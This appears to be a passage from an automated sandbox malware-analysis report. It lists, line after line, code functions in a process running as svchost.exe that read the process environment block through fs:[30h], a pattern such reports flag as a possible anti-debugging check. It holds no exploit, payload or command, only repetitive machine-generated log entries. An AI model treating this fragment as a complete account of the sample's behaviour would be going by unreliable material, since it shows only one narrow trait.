Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FF81EE mov eax, dword ptr fs:[00000030h]	2_2_02FF81EE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5B1E0 mov eax, dword ptr fs:[00000030h]	2_2_02F5B1E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5B1E0 mov eax, dword ptr fs:[00000030h]	2_2_02F5B1E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5B1E0 mov eax, dword ptr fs:[00000030h]	2_2_02F5B1E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5B1E0 mov eax, dword ptr fs:[00000030h]	2_2_02F5B1E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5B1E0 mov eax, dword ptr fs:[00000030h]	2_2_02F5B1E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5B1E0 mov eax, dword ptr fs:[00000030h]	2_2_02F5B1E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5B1E0 mov eax, dword ptr fs:[00000030h]	2_2_02F5B1E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F391E5 mov eax, dword ptr fs:[00000030h]	2_2_02F391E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F391E5 mov eax, dword ptr fs:[00000030h]	2_2_02F391E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F281EB mov eax, dword ptr fs:[00000030h]	2_2_02F281EB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F401C0 mov eax, dword ptr fs:[00000030h]	2_2_02F401C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F401C0 mov eax, dword ptr fs:[00000030h]	2_2_02F401C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F451C0 mov eax, dword ptr fs:[00000030h]	2_2_02F451C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F451C0 mov eax, dword ptr fs:[00000030h]	2_2_02F451C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F451C0 mov eax, dword ptr fs:[00000030h]	2_2_02F451C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F451C0 mov eax, dword ptr fs:[00000030h]	2_2_02F451C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F631BE mov eax, dword ptr fs:[00000030h]	2_2_02F631BE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F631BE mov eax, dword ptr fs:[00000030h]	2_2_02F631BE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F641BB mov ecx, dword ptr fs:[00000030h]	2_2_02F641BB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F641BB mov eax, dword ptr fs:[00000030h]	2_2_02F641BB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F641BB mov eax, dword ptr fs:[00000030h]	2_2_02F641BB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6E1A4 mov eax, dword ptr fs:[00000030h]	2_2_02F6E1A4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6E1A4 mov eax, dword ptr fs:[00000030h]	2_2_02F6E1A4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0300505B mov eax, dword ptr fs:[00000030h]	2_2_0300505B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F59194 mov eax, dword ptr fs:[00000030h]	2_2_02F59194
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F71190 mov eax, dword ptr fs:[00000030h]	2_2_02F71190
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F71190 mov eax, dword ptr fs:[00000030h]	2_2_02F71190
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F34180 mov eax, dword ptr fs:[00000030h]	2_2_02F34180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F34180 mov eax, dword ptr fs:[00000030h]	2_2_02F34180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F34180 mov eax, dword ptr fs:[00000030h]	2_2_02F34180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03004080 mov eax, dword ptr fs:[00000030h]	2_2_03004080
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03004080 mov eax, dword ptr fs:[00000030h]	2_2_03004080
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03004080 mov eax, dword ptr fs:[00000030h]	2_2_03004080
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03004080 mov eax, dword ptr fs:[00000030h]	2_2_03004080
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03004080 mov eax, dword ptr fs:[00000030h]	2_2_03004080
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03004080 mov eax, dword ptr fs:[00000030h]	2_2_03004080
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03004080 mov eax, dword ptr fs:[00000030h]	2_2_03004080
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F8717A mov eax, dword ptr fs:[00000030h]	2_2_02F8717A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F8717A mov eax, dword ptr fs:[00000030h]	2_2_02F8717A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F36179 mov eax, dword ptr fs:[00000030h]	2_2_02F36179
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6716D mov eax, dword ptr fs:[00000030h]	2_2_02F6716D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6415F mov eax, dword ptr fs:[00000030h]	2_2_02F6415F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2A147 mov eax, dword ptr fs:[00000030h]	2_2_02F2A147
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2A147 mov eax, dword ptr fs:[00000030h]	2_2_02F2A147
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2A147 mov eax, dword ptr fs:[00000030h]	2_2_02F2A147
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FC314A mov eax, dword ptr fs:[00000030h]	2_2_02FC314A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FC314A mov eax, dword ptr fs:[00000030h]	2_2_02FC314A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FC314A mov eax, dword ptr fs:[00000030h]	2_2_02FC314A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FC314A mov eax, dword ptr fs:[00000030h]	2_2_02FC314A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030050B7 mov eax, dword ptr fs:[00000030h]	2_2_030050B7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FEF13E mov eax, dword ptr fs:[00000030h]	2_2_02FEF13E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FBA130 mov eax, dword ptr fs:[00000030h]	2_2_02FBA130
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F67128 mov eax, dword ptr fs:[00000030h]	2_2_02F67128
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F67128 mov eax, dword ptr fs:[00000030h]	2_2_02F67128
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2F113 mov eax, dword ptr fs:[00000030h]	2_2_02F2F113
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2F113 mov eax, dword ptr fs:[00000030h]	2_2_02F2F113
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2F113 mov eax, dword ptr fs:[00000030h]	2_2_02F2F113
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2F113 mov eax, dword ptr fs:[00000030h]	2_2_02F2F113
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2F113 mov eax, dword ptr fs:[00000030h]	2_2_02F2F113
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2F113 mov eax, dword ptr fs:[00000030h]	2_2_02F2F113
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2F113 mov eax, dword ptr fs:[00000030h]	2_2_02F2F113
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2F113 mov eax, dword ptr fs:[00000030h]	2_2_02F2F113
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2F113 mov eax, dword ptr fs:[00000030h]	2_2_02F2F113
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2F113 mov eax, dword ptr fs:[00000030h]	2_2_02F2F113
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2F113 mov eax, dword ptr fs:[00000030h]	2_2_02F2F113
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2F113 mov eax, dword ptr fs:[00000030h]	2_2_02F2F113
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2F113 mov eax, dword ptr fs:[00000030h]	2_2_02F2F113
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2F113 mov eax, dword ptr fs:[00000030h]	2_2_02F2F113
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2F113 mov eax, dword ptr fs:[00000030h]	2_2_02F2F113
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2F113 mov eax, dword ptr fs:[00000030h]	2_2_02F2F113
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2F113 mov eax, dword ptr fs:[00000030h]	2_2_02F2F113
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2F113 mov eax, dword ptr fs:[00000030h]	2_2_02F2F113
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2F113 mov eax, dword ptr fs:[00000030h]	2_2_02F2F113
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2F113 mov eax, dword ptr fs:[00000030h]	2_2_02F2F113
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2F113 mov eax, dword ptr fs:[00000030h]	2_2_02F2F113
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F60118 mov eax, dword ptr fs:[00000030h]	2_2_02F60118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5510F mov eax, dword ptr fs:[00000030h]	2_2_02F5510F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5510F mov eax, dword ptr fs:[00000030h]	2_2_02F5510F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5510F mov eax, dword ptr fs:[00000030h]	2_2_02F5510F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5510F mov eax, dword ptr fs:[00000030h]	2_2_02F5510F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5510F mov eax, dword ptr fs:[00000030h]	2_2_02F5510F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5510F mov eax, dword ptr fs:[00000030h]	2_2_02F5510F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5510F mov eax, dword ptr fs:[00000030h]	2_2_02F5510F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5510F mov eax, dword ptr fs:[00000030h]	2_2_02F5510F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5510F mov eax, dword ptr fs:[00000030h]	2_2_02F5510F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5510F mov eax, dword ptr fs:[00000030h]	2_2_02F5510F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5510F mov eax, dword ptr fs:[00000030h]	2_2_02F5510F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5510F mov eax, dword ptr fs:[00000030h]	2_2_02F5510F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5510F mov eax, dword ptr fs:[00000030h]	2_2_02F5510F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3510D mov eax, dword ptr fs:[00000030h]	2_2_02F3510D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FAC6F2 mov eax, dword ptr fs:[00000030h]	2_2_02FAC6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FAC6F2 mov eax, dword ptr fs:[00000030h]	2_2_02FAC6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F296E0 mov eax, dword ptr fs:[00000030h]	2_2_02F296E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F296E0 mov eax, dword ptr fs:[00000030h]	2_2_02F296E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3C6E0 mov eax, dword ptr fs:[00000030h]	2_2_02F3C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F356E0 mov eax, dword ptr fs:[00000030h]	2_2_02F356E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F356E0 mov eax, dword ptr fs:[00000030h]	2_2_02F356E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F356E0 mov eax, dword ptr fs:[00000030h]	2_2_02F356E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F566E0 mov eax, dword ptr fs:[00000030h]	2_2_02F566E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F566E0 mov eax, dword ptr fs:[00000030h]	2_2_02F566E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5D6D0 mov eax, dword ptr fs:[00000030h]	2_2_02F5D6D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F306CF mov eax, dword ptr fs:[00000030h]	2_2_02F306CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FFA6C0 mov eax, dword ptr fs:[00000030h]	2_2_02FFA6C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FD86C2 mov eax, dword ptr fs:[00000030h]	2_2_02FD86C2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FF86A8 mov eax, dword ptr fs:[00000030h]	2_2_02FF86A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FF86A8 mov eax, dword ptr fs:[00000030h]	2_2_02FF86A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F38690 mov eax, dword ptr fs:[00000030h]	2_2_02F38690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FBC691 mov eax, dword ptr fs:[00000030h]	2_2_02FBC691
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FEF68C mov eax, dword ptr fs:[00000030h]	2_2_02FEF68C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F40680 mov eax, dword ptr fs:[00000030h]	2_2_02F40680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F40680 mov eax, dword ptr fs:[00000030h]	2_2_02F40680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F40680 mov eax, dword ptr fs:[00000030h]	2_2_02F40680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F40680 mov eax, dword ptr fs:[00000030h]	2_2_02F40680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F40680 mov eax, dword ptr fs:[00000030h]	2_2_02F40680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F40680 mov eax, dword ptr fs:[00000030h]	2_2_02F40680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F40680 mov eax, dword ptr fs:[00000030h]	2_2_02F40680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F40680 mov eax, dword ptr fs:[00000030h]	2_2_02F40680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F40680 mov eax, dword ptr fs:[00000030h]	2_2_02F40680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F40680 mov eax, dword ptr fs:[00000030h]	2_2_02F40680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F40680 mov eax, dword ptr fs:[00000030h]	2_2_02F40680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F40680 mov eax, dword ptr fs:[00000030h]	2_2_02F40680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0300B781 mov eax, dword ptr fs:[00000030h]	2_2_0300B781
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0300B781 mov eax, dword ptr fs:[00000030h]	2_2_0300B781
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F30670 mov eax, dword ptr fs:[00000030h]	2_2_02F30670
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72670 mov eax, dword ptr fs:[00000030h]	2_2_02F72670
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72670 mov eax, dword ptr fs:[00000030h]	2_2_02F72670
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F27662 mov eax, dword ptr fs:[00000030h]	2_2_02F27662
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F27662 mov eax, dword ptr fs:[00000030h]	2_2_02F27662
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F27662 mov eax, dword ptr fs:[00000030h]	2_2_02F27662
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F43660 mov eax, dword ptr fs:[00000030h]	2_2_02F43660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F43660 mov eax, dword ptr fs:[00000030h]	2_2_02F43660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F43660 mov eax, dword ptr fs:[00000030h]	2_2_02F43660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6666D mov esi, dword ptr fs:[00000030h]	2_2_02F6666D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6666D mov eax, dword ptr fs:[00000030h]	2_2_02F6666D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6666D mov eax, dword ptr fs:[00000030h]	2_2_02F6666D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F65654 mov eax, dword ptr fs:[00000030h]	2_2_02F65654
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3965A mov eax, dword ptr fs:[00000030h]	2_2_02F3965A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3965A mov eax, dword ptr fs:[00000030h]	2_2_02F3965A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6265C mov eax, dword ptr fs:[00000030h]	2_2_02F6265C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6265C mov ecx, dword ptr fs:[00000030h]	2_2_02F6265C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6265C mov eax, dword ptr fs:[00000030h]	2_2_02F6265C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F33640 mov eax, dword ptr fs:[00000030h]	2_2_02F33640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F4F640 mov eax, dword ptr fs:[00000030h]	2_2_02F4F640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F4F640 mov eax, dword ptr fs:[00000030h]	2_2_02F4F640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F4F640 mov eax, dword ptr fs:[00000030h]	2_2_02F4F640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6C640 mov eax, dword ptr fs:[00000030h]	2_2_02F6C640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6C640 mov eax, dword ptr fs:[00000030h]	2_2_02F6C640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2D64A mov eax, dword ptr fs:[00000030h]	2_2_02F2D64A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2D64A mov eax, dword ptr fs:[00000030h]	2_2_02F2D64A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030017BC mov eax, dword ptr fs:[00000030h]	2_2_030017BC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F30630 mov eax, dword ptr fs:[00000030h]	2_2_02F30630
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F60630 mov eax, dword ptr fs:[00000030h]	2_2_02F60630
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB8633 mov esi, dword ptr fs:[00000030h]	2_2_02FB8633
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB8633 mov eax, dword ptr fs:[00000030h]	2_2_02FB8633
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB8633 mov eax, dword ptr fs:[00000030h]	2_2_02FB8633
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6F63F mov eax, dword ptr fs:[00000030h]	2_2_02F6F63F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6F63F mov eax, dword ptr fs:[00000030h]	2_2_02F6F63F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F37623 mov eax, dword ptr fs:[00000030h]	2_2_02F37623
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FDD62C mov ecx, dword ptr fs:[00000030h]	2_2_02FDD62C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FDD62C mov ecx, dword ptr fs:[00000030h]	2_2_02FDD62C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FDD62C mov eax, dword ptr fs:[00000030h]	2_2_02FDD62C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F35622 mov eax, dword ptr fs:[00000030h]	2_2_02F35622
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F35622 mov eax, dword ptr fs:[00000030h]	2_2_02F35622
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6C620 mov eax, dword ptr fs:[00000030h]	2_2_02F6C620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FC3608 mov eax, dword ptr fs:[00000030h]	2_2_02FC3608
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FC3608 mov eax, dword ptr fs:[00000030h]	2_2_02FC3608
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FC3608 mov eax, dword ptr fs:[00000030h]	2_2_02FC3608
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FC3608 mov eax, dword ptr fs:[00000030h]	2_2_02FC3608
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FC3608 mov eax, dword ptr fs:[00000030h]	2_2_02FC3608
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FC3608 mov eax, dword ptr fs:[00000030h]	2_2_02FC3608
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5D600 mov eax, dword ptr fs:[00000030h]	2_2_02F5D600
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5D600 mov eax, dword ptr fs:[00000030h]	2_2_02F5D600
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FEF607 mov eax, dword ptr fs:[00000030h]	2_2_02FEF607
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6360F mov eax, dword ptr fs:[00000030h]	2_2_02F6360F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03004600 mov eax, dword ptr fs:[00000030h]	2_2_03004600
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F377F9 mov eax, dword ptr fs:[00000030h]	2_2_02F377F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F377F9 mov eax, dword ptr fs:[00000030h]	2_2_02F377F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5E7E0 mov eax, dword ptr fs:[00000030h]	2_2_02F5E7E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F337E4 mov eax, dword ptr fs:[00000030h]	2_2_02F337E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F337E4 mov eax, dword ptr fs:[00000030h]	2_2_02F337E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F337E4 mov eax, dword ptr fs:[00000030h]	2_2_02F337E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F337E4 mov eax, dword ptr fs:[00000030h]	2_2_02F337E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F337E4 mov eax, dword ptr fs:[00000030h]	2_2_02F337E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F337E4 mov eax, dword ptr fs:[00000030h]	2_2_02F337E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F337E4 mov eax, dword ptr fs:[00000030h]	2_2_02F337E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FEF7CF mov eax, dword ptr fs:[00000030h]	2_2_02FEF7CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F307A7 mov eax, dword ptr fs:[00000030h]	2_2_02F307A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FFD7A7 mov eax, dword ptr fs:[00000030h]	2_2_02FFD7A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FFD7A7 mov eax, dword ptr fs:[00000030h]	2_2_02FFD7A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FFD7A7 mov eax, dword ptr fs:[00000030h]	2_2_02FFD7A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F61796 mov eax, dword ptr fs:[00000030h]	2_2_02F61796
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F61796 mov eax, dword ptr fs:[00000030h]	2_2_02F61796
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FAE79D mov eax, dword ptr fs:[00000030h]	2_2_02FAE79D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FAE79D mov eax, dword ptr fs:[00000030h]	2_2_02FAE79D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FAE79D mov eax, dword ptr fs:[00000030h]	2_2_02FAE79D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FAE79D mov eax, dword ptr fs:[00000030h]	2_2_02FAE79D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FAE79D mov eax, dword ptr fs:[00000030h]	2_2_02FAE79D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FAE79D mov eax, dword ptr fs:[00000030h]	2_2_02FAE79D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FAE79D mov eax, dword ptr fs:[00000030h]	2_2_02FAE79D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FAE79D mov eax, dword ptr fs:[00000030h]	2_2_02FAE79D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FAE79D mov eax, dword ptr fs:[00000030h]	2_2_02FAE79D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F60774 mov eax, dword ptr fs:[00000030h]	2_2_02F60774
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F34779 mov eax, dword ptr fs:[00000030h]	2_2_02F34779
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F34779 mov eax, dword ptr fs:[00000030h]	2_2_02F34779
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F42760 mov ecx, dword ptr fs:[00000030h]	2_2_02F42760
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F71763 mov eax, dword ptr fs:[00000030h]	2_2_02F71763
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F71763 mov eax, dword ptr fs:[00000030h]	2_2_02F71763
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F71763 mov eax, dword ptr fs:[00000030h]	2_2_02F71763
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F71763 mov eax, dword ptr fs:[00000030h]	2_2_02F71763
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F71763 mov eax, dword ptr fs:[00000030h]	2_2_02F71763
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F71763 mov eax, dword ptr fs:[00000030h]	2_2_02F71763
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F52755 mov eax, dword ptr fs:[00000030h]	2_2_02F52755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F52755 mov eax, dword ptr fs:[00000030h]	2_2_02F52755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F52755 mov eax, dword ptr fs:[00000030h]	2_2_02F52755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F52755 mov ecx, dword ptr fs:[00000030h]	2_2_02F52755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F52755 mov eax, dword ptr fs:[00000030h]	2_2_02F52755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F52755 mov eax, dword ptr fs:[00000030h]	2_2_02F52755
